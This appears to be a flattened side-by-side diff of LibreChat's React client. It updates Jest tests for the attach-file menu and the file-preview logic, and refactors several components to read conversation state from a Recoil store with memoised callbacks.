mockUseAgentCapabilities.mockReturnValue({ mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true, contextEnabled: true,
fileSearchEnabled: false, fileSearchEnabled: false,
codeEnabled: false, codeEnabled: false,
}); });
renderMenu({ endpointType: EModelEndpoint.openAI });
renderAttachFileMenu({ openMenu();
endpointType: EModelEndpoint.openAI, expect(screen.getByText('Upload as Text')).toBeInTheDocument();
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload OCR Text')).toBeInTheDocument();
}); });
it('should show File Search option when enabled and allowed by agent', () => { it('shows File Search option when enabled and allowed by agent', () => {
setupMocks();
mockUseAgentCapabilities.mockReturnValue({ mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false, contextEnabled: false,
fileSearchEnabled: true, fileSearchEnabled: true,
codeEnabled: false, codeEnabled: false,
}); });
mockUseAgentToolPermissions.mockReturnValue({ mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true, fileSearchAllowedByAgent: true,
codeAllowedByAgent: false, codeAllowedByAgent: false,
provider: undefined, provider: undefined,
}); });
renderMenu({ endpointType: EModelEndpoint.openAI });
renderAttachFileMenu({ openMenu();
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload for File Search')).toBeInTheDocument(); expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
}); });
it('should NOT show File Search when enabled but not allowed by agent', () => { it('does NOT show File Search when enabled but not allowed by agent', () => {
setupMocks();
mockUseAgentCapabilities.mockReturnValue({ mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false, contextEnabled: false,
fileSearchEnabled: true, fileSearchEnabled: true,
codeEnabled: false, codeEnabled: false,
}); });
renderMenu({ endpointType: EModelEndpoint.openAI });
mockUseAgentToolPermissions.mockReturnValue({ openMenu();
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: undefined,
});
renderAttachFileMenu({
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument(); expect(screen.queryByText('Upload for File Search')).not.toBeInTheDocument();
}); });
it('should show Code Files option when enabled and allowed by agent', () => { it('shows Code Files option when enabled and allowed by agent', () => {
setupMocks();
mockUseAgentCapabilities.mockReturnValue({ mockUseAgentCapabilities.mockReturnValue({
contextEnabled: false, contextEnabled: false,
fileSearchEnabled: false, fileSearchEnabled: false,
codeEnabled: true, codeEnabled: true,
}); });
mockUseAgentToolPermissions.mockReturnValue({ mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false, fileSearchAllowedByAgent: false,
codeAllowedByAgent: true, codeAllowedByAgent: true,
provider: undefined, provider: undefined,
}); });
renderMenu({ endpointType: EModelEndpoint.openAI });
renderAttachFileMenu({ openMenu();
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload Code Files')).toBeInTheDocument(); expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
}); });
it('should show all options when all capabilities are enabled', () => { it('shows all options when all capabilities are enabled', () => {
setupMocks();
mockUseAgentCapabilities.mockReturnValue({ mockUseAgentCapabilities.mockReturnValue({
contextEnabled: true, contextEnabled: true,
fileSearchEnabled: true, fileSearchEnabled: true,
codeEnabled: true, codeEnabled: true,
}); });
mockUseAgentToolPermissions.mockReturnValue({ mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: true, fileSearchAllowedByAgent: true,
codeAllowedByAgent: true, codeAllowedByAgent: true,
provider: undefined, provider: undefined,
}); });
renderMenu({ endpointType: EModelEndpoint.openAI });
renderAttachFileMenu({ openMenu();
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload to Provider')).toBeInTheDocument(); expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
expect(screen.getByText('Upload OCR Text')).toBeInTheDocument(); expect(screen.getByText('Upload as Text')).toBeInTheDocument();
expect(screen.getByText('Upload for File Search')).toBeInTheDocument(); expect(screen.getByText('Upload for File Search')).toBeInTheDocument();
expect(screen.getByText('Upload Code Files')).toBeInTheDocument(); expect(screen.getByText('Upload Code Files')).toBeInTheDocument();
}); });
}); });
describe('SharePoint Integration', () => { describe('SharePoint Integration', () => {
it('should show SharePoint option when enabled', () => { it('shows SharePoint option when enabled', () => {
setupMocks();
mockUseGetStartupConfig.mockReturnValue({ mockUseGetStartupConfig.mockReturnValue({
data: { data: { sharePointFilePickerEnabled: true },
sharePointFilePickerEnabled: true,
},
}); });
renderMenu({ endpointType: EModelEndpoint.openAI });
renderAttachFileMenu({ openMenu();
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument(); expect(screen.getByText('Upload from SharePoint')).toBeInTheDocument();
}); });
it('should NOT show SharePoint option when disabled', () => { it('does NOT show SharePoint option when disabled', () => {
mockUseGetStartupConfig.mockReturnValue({ setupMocks();
data: { renderMenu({ endpointType: EModelEndpoint.openAI });
sharePointFilePickerEnabled: false, openMenu();
},
});
renderAttachFileMenu({
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument(); expect(screen.queryByText('Upload from SharePoint')).not.toBeInTheDocument();
}); });
}); });
describe('Edge Cases', () => { describe('Edge Cases', () => {
it('should handle undefined endpoint and provider gracefully', () => { it('handles undefined endpoint and provider gracefully', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks();
fileSearchAllowedByAgent: false, renderMenu({ endpoint: undefined, endpointType: undefined });
codeAllowedByAgent: false,
provider: undefined,
});
renderAttachFileMenu({
endpoint: undefined,
endpointType: undefined,
});
const button = screen.getByRole('button', { name: /attach file options/i }); const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument(); expect(button).toBeInTheDocument();
fireEvent.click(button); fireEvent.click(button);
// Should show Upload Image as fallback
expect(screen.getByText('Upload Image')).toBeInTheDocument(); expect(screen.getByText('Upload Image')).toBeInTheDocument();
}); });
it('should handle null endpoint and provider gracefully', () => { it('handles null endpoint and provider gracefully', () => {
mockUseAgentToolPermissions.mockReturnValue({ setupMocks();
fileSearchAllowedByAgent: false, renderMenu({ endpoint: null, endpointType: null });
codeAllowedByAgent: false, expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
provider: null,
});
renderAttachFileMenu({
endpoint: null,
endpointType: null,
});
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument();
}); });
it('should handle missing agentId gracefully', () => { it('handles missing agentId gracefully', () => {
renderAttachFileMenu({ setupMocks();
agentId: undefined, renderMenu({ agentId: undefined, endpointType: EModelEndpoint.openAI });
endpointType: EModelEndpoint.openAI, expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument();
}); });
it('should handle empty string agentId', () => { it('handles empty string agentId', () => {
renderAttachFileMenu({ setupMocks();
agentId: '', renderMenu({ agentId: '', endpointType: EModelEndpoint.openAI });
endpointType: EModelEndpoint.openAI, expect(screen.getByRole('button', { name: /attach file options/i })).toBeInTheDocument();
});
const button = screen.getByRole('button', { name: /attach file options/i });
expect(button).toBeInTheDocument();
});
});
describe('Google Provider Special Case', () => {
it('should use image_document_video_audio file type for Google provider', () => {
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: EModelEndpoint.google,
});
renderAttachFileMenu({
endpoint: EModelEndpoint.google,
endpointType: EModelEndpoint.google,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
const uploadProviderButton = screen.getByText('Upload to Provider');
expect(uploadProviderButton).toBeInTheDocument();
// Click the upload to provider option
fireEvent.click(uploadProviderButton);
// The file input should have been clicked (indirectly tested through the implementation)
});
it('should use image_document file type for non-Google providers', () => {
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: EModelEndpoint.openAI,
});
renderAttachFileMenu({
endpoint: EModelEndpoint.openAI,
endpointType: EModelEndpoint.openAI,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
const uploadProviderButton = screen.getByText('Upload to Provider');
expect(uploadProviderButton).toBeInTheDocument();
fireEvent.click(uploadProviderButton);
// Implementation detail - image_document type is used
});
});
describe('Regression Tests', () => {
it('should not break the previous behavior for direct provider attachments', () => {
// When using a direct supported provider (not through a gateway)
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: EModelEndpoint.anthropic,
});
renderAttachFileMenu({
endpoint: EModelEndpoint.anthropic,
endpointType: EModelEndpoint.anthropic,
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
});
it('should maintain correct priority when both are supported', () => {
// Both endpointType and provider are supported, endpointType should be checked first
mockUseAgentToolPermissions.mockReturnValue({
fileSearchAllowedByAgent: false,
codeAllowedByAgent: false,
provider: EModelEndpoint.google,
});
renderAttachFileMenu({
endpoint: EModelEndpoint.google,
endpointType: EModelEndpoint.openAI, // Different but both supported
});
const button = screen.getByRole('button', { name: /attach file options/i });
fireEvent.click(button);
// Should still work because endpointType (openAI) is supported
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
}); });
}); });
}); });

View file

@ -21,6 +21,7 @@ jest.mock('~/utils', () => ({
logger: { logger: {
log: jest.fn(), log: jest.fn(),
}, },
getCachedPreview: jest.fn(() => undefined),
})); }));
jest.mock('../Image', () => { jest.mock('../Image', () => {
@ -95,7 +96,7 @@ describe('FileRow', () => {
}; };
describe('Image URL Selection Logic', () => { describe('Image URL Selection Logic', () => {
it('should use filepath instead of preview when progress is 1 (upload complete)', () => { it('should prefer cached preview over filepath when upload is complete', () => {
const file = createMockFile({ const file = createMockFile({
file_id: 'uploaded-file', file_id: 'uploaded-file',
preview: 'blob:http://localhost:3080/temp-preview', preview: 'blob:http://localhost:3080/temp-preview',
@ -109,8 +110,7 @@ describe('FileRow', () => {
renderFileRow(filesMap); renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent; const imageUrl = screen.getByTestId('image-url').textContent;
expect(imageUrl).toBe('/images/user123/uploaded-file__image.png'); expect(imageUrl).toBe('blob:http://localhost:3080/temp-preview');
expect(imageUrl).not.toContain('blob:');
}); });
it('should use preview when progress is less than 1 (uploading)', () => { it('should use preview when progress is less than 1 (uploading)', () => {
@ -147,7 +147,7 @@ describe('FileRow', () => {
expect(imageUrl).toBe('/images/user123/file-without-preview__image.png'); expect(imageUrl).toBe('/images/user123/file-without-preview__image.png');
}); });
it('should use filepath when both preview and filepath exist and progress is exactly 1', () => { it('should prefer preview over filepath when both exist and progress is 1', () => {
const file = createMockFile({ const file = createMockFile({
file_id: 'complete-file', file_id: 'complete-file',
preview: 'blob:http://localhost:3080/old-blob', preview: 'blob:http://localhost:3080/old-blob',
@ -161,7 +161,7 @@ describe('FileRow', () => {
renderFileRow(filesMap); renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent; const imageUrl = screen.getByTestId('image-url').textContent;
expect(imageUrl).toBe('/images/user123/complete-file__image.png'); expect(imageUrl).toBe('blob:http://localhost:3080/old-blob');
}); });
}); });
@ -284,7 +284,7 @@ describe('FileRow', () => {
const urls = screen.getAllByTestId('image-url').map((el) => el.textContent); const urls = screen.getAllByTestId('image-url').map((el) => el.textContent);
expect(urls).toContain('blob:http://localhost:3080/preview-1'); expect(urls).toContain('blob:http://localhost:3080/preview-1');
expect(urls).toContain('/images/user123/file-2__image.png'); expect(urls).toContain('blob:http://localhost:3080/preview-2');
}); });
it('should deduplicate files with the same file_id', () => { it('should deduplicate files with the same file_id', () => {
@ -321,10 +321,10 @@ describe('FileRow', () => {
}); });
}); });
describe('Regression: Blob URL Bug Fix', () => { describe('Preview Cache Integration', () => {
it('should NOT use revoked blob URL after upload completes', () => { it('should prefer preview blob URL over filepath for zero-flicker rendering', () => {
const file = createMockFile({ const file = createMockFile({
file_id: 'regression-test', file_id: 'cache-test',
preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b', preview: 'blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b',
filepath: filepath:
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png', '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
@ -337,8 +337,24 @@ describe('FileRow', () => {
renderFileRow(filesMap); renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent; const imageUrl = screen.getByTestId('image-url').textContent;
expect(imageUrl).toBe('blob:http://localhost:3080/d25f730c-152d-41f7-8d79-c9fa448f606b');
});
expect(imageUrl).not.toContain('blob:'); it('should fall back to filepath when no preview exists', () => {
const file = createMockFile({
file_id: 'no-preview',
preview: undefined,
filepath:
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
progress: 1,
});
const filesMap = new Map<string, ExtendedFile>();
filesMap.set(file.file_id, file);
renderFileRow(filesMap);
const imageUrl = screen.getByTestId('image-url').textContent;
expect(imageUrl).toBe( expect(imageUrl).toBe(
'/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png', '/images/68c98b26901ebe2d87c193a2/c0fe1b93-ba3d-456c-80be-9a492bfd9ed0__image.png',
); );

View file

@ -2,11 +2,10 @@ import { useState, useRef, useEffect } from 'react';
import { useCombobox } from '@librechat/client'; import { useCombobox } from '@librechat/client';
import { AutoSizer, List } from 'react-virtualized'; import { AutoSizer, List } from 'react-virtualized';
import { EModelEndpoint } from 'librechat-data-provider'; import { EModelEndpoint } from 'librechat-data-provider';
import type { TConversation } from 'librechat-data-provider';
import type { MentionOption, ConvoGenerator } from '~/common'; import type { MentionOption, ConvoGenerator } from '~/common';
import type { SetterOrUpdater } from 'recoil'; import type { SetterOrUpdater } from 'recoil';
import { useGetConversation, useLocalize, TranslationKeys } from '~/hooks';
import useSelectMention from '~/hooks/Input/useSelectMention'; import useSelectMention from '~/hooks/Input/useSelectMention';
import { useLocalize, TranslationKeys } from '~/hooks';
import { useAssistantsMapContext } from '~/Providers'; import { useAssistantsMapContext } from '~/Providers';
import useMentions from '~/hooks/Input/useMentions'; import useMentions from '~/hooks/Input/useMentions';
import { removeCharIfLast } from '~/utils'; import { removeCharIfLast } from '~/utils';
@ -15,7 +14,6 @@ import MentionItem from './MentionItem';
const ROW_HEIGHT = 44; const ROW_HEIGHT = 44;
export default function Mention({ export default function Mention({
conversation,
setShowMentionPopover, setShowMentionPopover,
newConversation, newConversation,
textAreaRef, textAreaRef,
@ -23,7 +21,6 @@ export default function Mention({
placeholder = 'com_ui_mention', placeholder = 'com_ui_mention',
includeAssistants = true, includeAssistants = true,
}: { }: {
conversation: TConversation | null;
setShowMentionPopover: SetterOrUpdater<boolean>; setShowMentionPopover: SetterOrUpdater<boolean>;
newConversation: ConvoGenerator; newConversation: ConvoGenerator;
textAreaRef: React.MutableRefObject<HTMLTextAreaElement | null>; textAreaRef: React.MutableRefObject<HTMLTextAreaElement | null>;
@ -32,6 +29,7 @@ export default function Mention({
includeAssistants?: boolean; includeAssistants?: boolean;
}) { }) {
const localize = useLocalize(); const localize = useLocalize();
const getConversation = useGetConversation(0);
const assistantsMap = useAssistantsMapContext(); const assistantsMap = useAssistantsMapContext();
const { const {
options, options,
@ -45,9 +43,9 @@ export default function Mention({
const { onSelectMention } = useSelectMention({ const { onSelectMention } = useSelectMention({
presets, presets,
modelSpecs, modelSpecs,
conversation,
assistantsMap, assistantsMap,
endpointsConfig, endpointsConfig,
getConversation,
newConversation, newConversation,
}); });

View file

@ -1,6 +1,9 @@
import React, { createContext, useContext, useMemo } from 'react'; import React, { createContext, useCallback, useContext, useMemo, useRef } from 'react';
import { useRecoilValue } from 'recoil';
import type { EModelEndpoint, TConversation } from 'librechat-data-provider'; import type { EModelEndpoint, TConversation } from 'librechat-data-provider';
import { useChatContext } from '~/Providers/ChatContext'; import type { ConvoGenerator } from '~/common';
import { useGetConversation, useNewConvo } from '~/hooks';
import store from '~/store';
interface ModelSelectorChatContextValue { interface ModelSelectorChatContextValue {
endpoint?: EModelEndpoint | null; endpoint?: EModelEndpoint | null;
@ -8,8 +11,8 @@ interface ModelSelectorChatContextValue {
spec?: string | null; spec?: string | null;
agent_id?: string | null; agent_id?: string | null;
assistant_id?: string | null; assistant_id?: string | null;
conversation: TConversation | null; getConversation: () => TConversation | null;
newConversation: ReturnType<typeof useChatContext>['newConversation']; newConversation: ConvoGenerator;
} }
const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | undefined>( const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | undefined>(
@ -17,20 +20,34 @@ const ModelSelectorChatContext = createContext<ModelSelectorChatContextValue | u
); );
export function ModelSelectorChatProvider({ children }: { children: React.ReactNode }) { export function ModelSelectorChatProvider({ children }: { children: React.ReactNode }) {
const { conversation, newConversation } = useChatContext(); const getConversation = useGetConversation(0);
const { newConversation: nextNewConversation } = useNewConvo();
const spec = useRecoilValue(store.conversationSpecByIndex(0));
const model = useRecoilValue(store.conversationModelByIndex(0));
const agent_id = useRecoilValue(store.conversationAgentIdByIndex(0));
const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
const assistant_id = useRecoilValue(store.conversationAssistantIdByIndex(0));
const newConversationRef = useRef(nextNewConversation);
newConversationRef.current = nextNewConversation;
const newConversation = useCallback<ConvoGenerator>(
(params) => newConversationRef.current(params),
[],
);
/** Context value only created when relevant conversation properties change */ /** Context value only created when relevant conversation properties change */
const contextValue = useMemo<ModelSelectorChatContextValue>( const contextValue = useMemo<ModelSelectorChatContextValue>(
() => ({ () => ({
endpoint: conversation?.endpoint, model,
model: conversation?.model, spec,
spec: conversation?.spec, agent_id,
agent_id: conversation?.agent_id, endpoint,
assistant_id: conversation?.assistant_id, assistant_id,
conversation, getConversation,
newConversation, newConversation,
}), }),
[conversation, newConversation], [endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation],
); );
return ( return (

View file

@ -58,7 +58,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const agentsMap = useAgentsMapContext(); const agentsMap = useAgentsMapContext();
const assistantsMap = useAssistantsMapContext(); const assistantsMap = useAssistantsMapContext();
const { data: endpointsConfig } = useGetEndpointsQuery(); const { data: endpointsConfig } = useGetEndpointsQuery();
const { endpoint, model, spec, agent_id, assistant_id, conversation, newConversation } = const { endpoint, model, spec, agent_id, assistant_id, getConversation, newConversation } =
useModelSelectorChatContext(); useModelSelectorChatContext();
const localize = useLocalize(); const localize = useLocalize();
const { announcePolite } = useLiveAnnouncer(); const { announcePolite } = useLiveAnnouncer();
@ -114,7 +114,7 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
const { onSelectEndpoint, onSelectSpec } = useSelectMention({ const { onSelectEndpoint, onSelectSpec } = useSelectMention({
// presets, // presets,
modelSpecs, modelSpecs,
conversation, getConversation,
assistantsMap, assistantsMap,
endpointsConfig, endpointsConfig,
newConversation, newConversation,
@ -171,90 +171,115 @@ export function ModelSelectorProvider({ children, startupConfig }: ModelSelector
}, 200), }, 200),
[], [],
); );
const setEndpointSearchValue = (endpoint: string, value: string) => { const setEndpointSearchValue = useCallback((endpoint: string, value: string) => {
setEndpointSearchValues((prev) => ({ setEndpointSearchValues((prev) => ({
...prev, ...prev,
[endpoint]: value, [endpoint]: value,
})); }));
}; }, []);
const handleSelectSpec = (spec: t.TModelSpec) => { const handleSelectSpec = useCallback(
let model = spec.preset.model ?? null; (spec: t.TModelSpec) => {
onSelectSpec?.(spec); let model = spec.preset.model ?? null;
if (isAgentsEndpoint(spec.preset.endpoint)) { onSelectSpec?.(spec);
model = spec.preset.agent_id ?? ''; if (isAgentsEndpoint(spec.preset.endpoint)) {
} else if (isAssistantsEndpoint(spec.preset.endpoint)) { model = spec.preset.agent_id ?? '';
model = spec.preset.assistant_id ?? ''; } else if (isAssistantsEndpoint(spec.preset.endpoint)) {
} model = spec.preset.assistant_id ?? '';
setSelectedValues({ }
endpoint: spec.preset.endpoint, setSelectedValues({
model, endpoint: spec.preset.endpoint,
modelSpec: spec.name, model,
}); modelSpec: spec.name,
}; });
},
[onSelectSpec],
);
const handleSelectEndpoint = (endpoint: Endpoint) => { const handleSelectEndpoint = useCallback(
if (!endpoint.hasModels) { (endpoint: Endpoint) => {
if (endpoint.value) { if (!endpoint.hasModels) {
onSelectEndpoint?.(endpoint.value); if (endpoint.value) {
onSelectEndpoint?.(endpoint.value);
}
setSelectedValues({
endpoint: endpoint.value,
model: '',
modelSpec: '',
});
}
},
[onSelectEndpoint],
);
const handleSelectModel = useCallback(
(endpoint: Endpoint, model: string) => {
if (isAgentsEndpoint(endpoint.value)) {
onSelectEndpoint?.(endpoint.value, {
agent_id: model,
model: agentsMap?.[model]?.model ?? '',
});
} else if (isAssistantsEndpoint(endpoint.value)) {
onSelectEndpoint?.(endpoint.value, {
assistant_id: model,
model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
});
} else if (endpoint.value) {
onSelectEndpoint?.(endpoint.value, { model });
} }
setSelectedValues({ setSelectedValues({
endpoint: endpoint.value, endpoint: endpoint.value,
model: '', model,
modelSpec: '', modelSpec: '',
}); });
}
};
const handleSelectModel = (endpoint: Endpoint, model: string) => { const modelDisplayName = getModelDisplayName(endpoint, model);
if (isAgentsEndpoint(endpoint.value)) { const announcement = localize('com_ui_model_selected', { 0: modelDisplayName });
onSelectEndpoint?.(endpoint.value, { announcePolite({ message: announcement, isStatus: true });
agent_id: model, },
model: agentsMap?.[model]?.model ?? '', [agentsMap, announcePolite, assistantsMap, getModelDisplayName, localize, onSelectEndpoint],
}); );
} else if (isAssistantsEndpoint(endpoint.value)) {
onSelectEndpoint?.(endpoint.value, {
assistant_id: model,
model: assistantsMap?.[endpoint.value]?.[model]?.model ?? '',
});
} else if (endpoint.value) {
onSelectEndpoint?.(endpoint.value, { model });
}
setSelectedValues({
endpoint: endpoint.value,
model,
modelSpec: '',
});
const modelDisplayName = getModelDisplayName(endpoint, model); const value = useMemo(
const announcement = localize('com_ui_model_selected', { 0: modelDisplayName }); () => ({
announcePolite({ message: announcement, isStatus: true }); searchValue,
}; searchResults,
selectedValues,
const value = { endpointSearchValues,
// State agentsMap,
searchValue, modelSpecs,
searchResults, assistantsMap,
selectedValues, mappedEndpoints,
endpointSearchValues, endpointsConfig,
// LibreChat handleSelectSpec,
agentsMap, handleSelectModel,
modelSpecs, setSelectedValues,
assistantsMap, handleSelectEndpoint,
mappedEndpoints, setEndpointSearchValue,
endpointsConfig, endpointRequiresUserKey,
setSearchValue: setDebouncedSearchValue,
// Functions ...keyProps,
handleSelectSpec, }),
handleSelectModel, [
setSelectedValues, searchValue,
handleSelectEndpoint, searchResults,
setEndpointSearchValue, selectedValues,
endpointRequiresUserKey, endpointSearchValues,
setSearchValue: setDebouncedSearchValue, agentsMap,
// Dialog modelSpecs,
...keyProps, assistantsMap,
}; mappedEndpoints,
endpointsConfig,
handleSelectSpec,
handleSelectModel,
setSelectedValues,
handleSelectEndpoint,
setEndpointSearchValue,
endpointRequiresUserKey,
setDebouncedSearchValue,
keyProps,
],
);
return <ModelSelectorContext.Provider value={value}>{children}</ModelSelectorContext.Provider>; return <ModelSelectorContext.Provider value={value}>{children}</ModelSelectorContext.Provider>;
} }

View file

@ -1,14 +1,16 @@
import { QueryKeys } from 'librechat-data-provider'; import { QueryKeys } from 'librechat-data-provider';
import { useRecoilValue } from 'recoil';
import { useQueryClient } from '@tanstack/react-query'; import { useQueryClient } from '@tanstack/react-query';
import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client'; import { TooltipAnchor, Button, NewChatIcon } from '@librechat/client';
import { useChatContext } from '~/Providers'; import { useNewConvo, useLocalize } from '~/hooks';
import { clearMessagesCache } from '~/utils'; import { clearMessagesCache } from '~/utils';
import { useLocalize } from '~/hooks'; import store from '~/store';
export default function HeaderNewChat() { export default function HeaderNewChat() {
const localize = useLocalize(); const localize = useLocalize();
const queryClient = useQueryClient(); const queryClient = useQueryClient();
const { conversation, newConversation } = useChatContext(); const { newConversation } = useNewConvo();
const conversation = useRecoilValue(store.conversationByIndex(0));
const clickHandler: React.MouseEventHandler<HTMLButtonElement> = (e) => { const clickHandler: React.MouseEventHandler<HTMLButtonElement> = (e) => {
if (e.button === 0 && (e.ctrlKey || e.metaKey)) { if (e.button === 0 && (e.ctrlKey || e.metaKey)) {

View file

@ -1,4 +1,5 @@
import { useRef } from 'react'; import { useRef } from 'react';
import { useRecoilValue } from 'recoil';
import { Trans } from 'react-i18next'; import { Trans } from 'react-i18next';
import { BookCopy } from 'lucide-react'; import { BookCopy } from 'lucide-react';
import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover'; import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
@ -13,7 +14,7 @@ import {
import type { FC } from 'react'; import type { FC } from 'react';
import { EditPresetDialog, PresetItems } from './Presets'; import { EditPresetDialog, PresetItems } from './Presets';
import { useLocalize, usePresets } from '~/hooks'; import { useLocalize, usePresets } from '~/hooks';
import { useChatContext } from '~/Providers'; import store from '~/store';
const PresetsMenu: FC = () => { const PresetsMenu: FC = () => {
const localize = useLocalize(); const localize = useLocalize();
@ -33,7 +34,7 @@ const PresetsMenu: FC = () => {
presetToDelete, presetToDelete,
confirmDeletePreset, confirmDeletePreset,
} = usePresets(); } = usePresets();
const { preset } = useChatContext(); const preset = useRecoilValue(store.presetByIndex(0));
const handleDeleteDialogChange = (open: boolean) => { const handleDeleteDialogChange = (open: boolean) => {
setShowDeleteDialog(open); setShowDeleteDialog(open);

View file

@ -15,6 +15,61 @@ import Sources from '~/components/Web/Sources';
import Container from './Container'; import Container from './Container';
import Part from './Part'; import Part from './Part';
type PartWithContextProps = {
part: TMessageContentParts;
idx: number;
isLastPart: boolean;
messageId: string;
conversationId?: string | null;
nextType?: string;
isSubmitting: boolean;
isLatestMessage?: boolean;
isCreatedByUser: boolean;
isLast: boolean;
partAttachments: TAttachment[] | undefined;
};
const PartWithContext = memo(function PartWithContext({
part,
idx,
isLastPart,
messageId,
conversationId,
nextType,
isSubmitting,
isLatestMessage,
isCreatedByUser,
isLast,
partAttachments,
}: PartWithContextProps) {
const contextValue = useMemo(
() => ({
messageId,
isExpanded: true as const,
conversationId,
partIndex: idx,
nextType,
isSubmitting,
isLatestMessage,
}),
[messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage],
);
return (
<MessageContext.Provider value={contextValue}>
<Part
part={part}
attachments={partAttachments}
isSubmitting={isSubmitting}
key={`part-${messageId}-${idx}`}
isCreatedByUser={isCreatedByUser}
isLast={isLastPart}
showCursor={isLastPart && isLast}
/>
</MessageContext.Provider>
);
});
type ContentPartsProps = { type ContentPartsProps = {
content: Array<TMessageContentParts | undefined> | undefined; content: Array<TMessageContentParts | undefined> | undefined;
messageId: string; messageId: string;
@ -58,37 +113,24 @@ const ContentParts = memo(function ContentParts({
const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]); const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false; const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
/**
* Render a single content part with proper context.
*/
const renderPart = useCallback( const renderPart = useCallback(
(part: TMessageContentParts, idx: number, isLastPart: boolean) => { (part: TMessageContentParts, idx: number, isLastPart: boolean) => {
const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? ''; const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
const partAttachments = attachmentMap[toolCallId];
return ( return (
<MessageContext.Provider <PartWithContext
key={`provider-${messageId}-${idx}`} key={`provider-${messageId}-${idx}`}
value={{ idx={idx}
messageId, part={part}
isExpanded: true, isLast={isLast}
conversationId, messageId={messageId}
partIndex: idx, isLastPart={isLastPart}
nextType: content?.[idx + 1]?.type, conversationId={conversationId}
isSubmitting: effectiveIsSubmitting, isLatestMessage={isLatestMessage}
isLatestMessage, isCreatedByUser={isCreatedByUser}
}} nextType={content?.[idx + 1]?.type}
> isSubmitting={effectiveIsSubmitting}
<Part partAttachments={attachmentMap[toolCallId]}
part={part} />
attachments={partAttachments}
isSubmitting={effectiveIsSubmitting}
key={`part-${messageId}-${idx}`}
isCreatedByUser={isCreatedByUser}
isLast={isLastPart}
showCursor={isLastPart && isLast}
/>
</MessageContext.Provider>
); );
}, },
[ [

View file

@ -4,6 +4,8 @@ import { Button, TooltipAnchor } from '@librechat/client';
import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react'; import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
import { useLocalize } from '~/hooks'; import { useLocalize } from '~/hooks';
const imageSizeCache = new Map<string, string>();
const getQualityStyles = (quality: string): string => { const getQualityStyles = (quality: string): string => {
if (quality === 'high') { if (quality === 'high') {
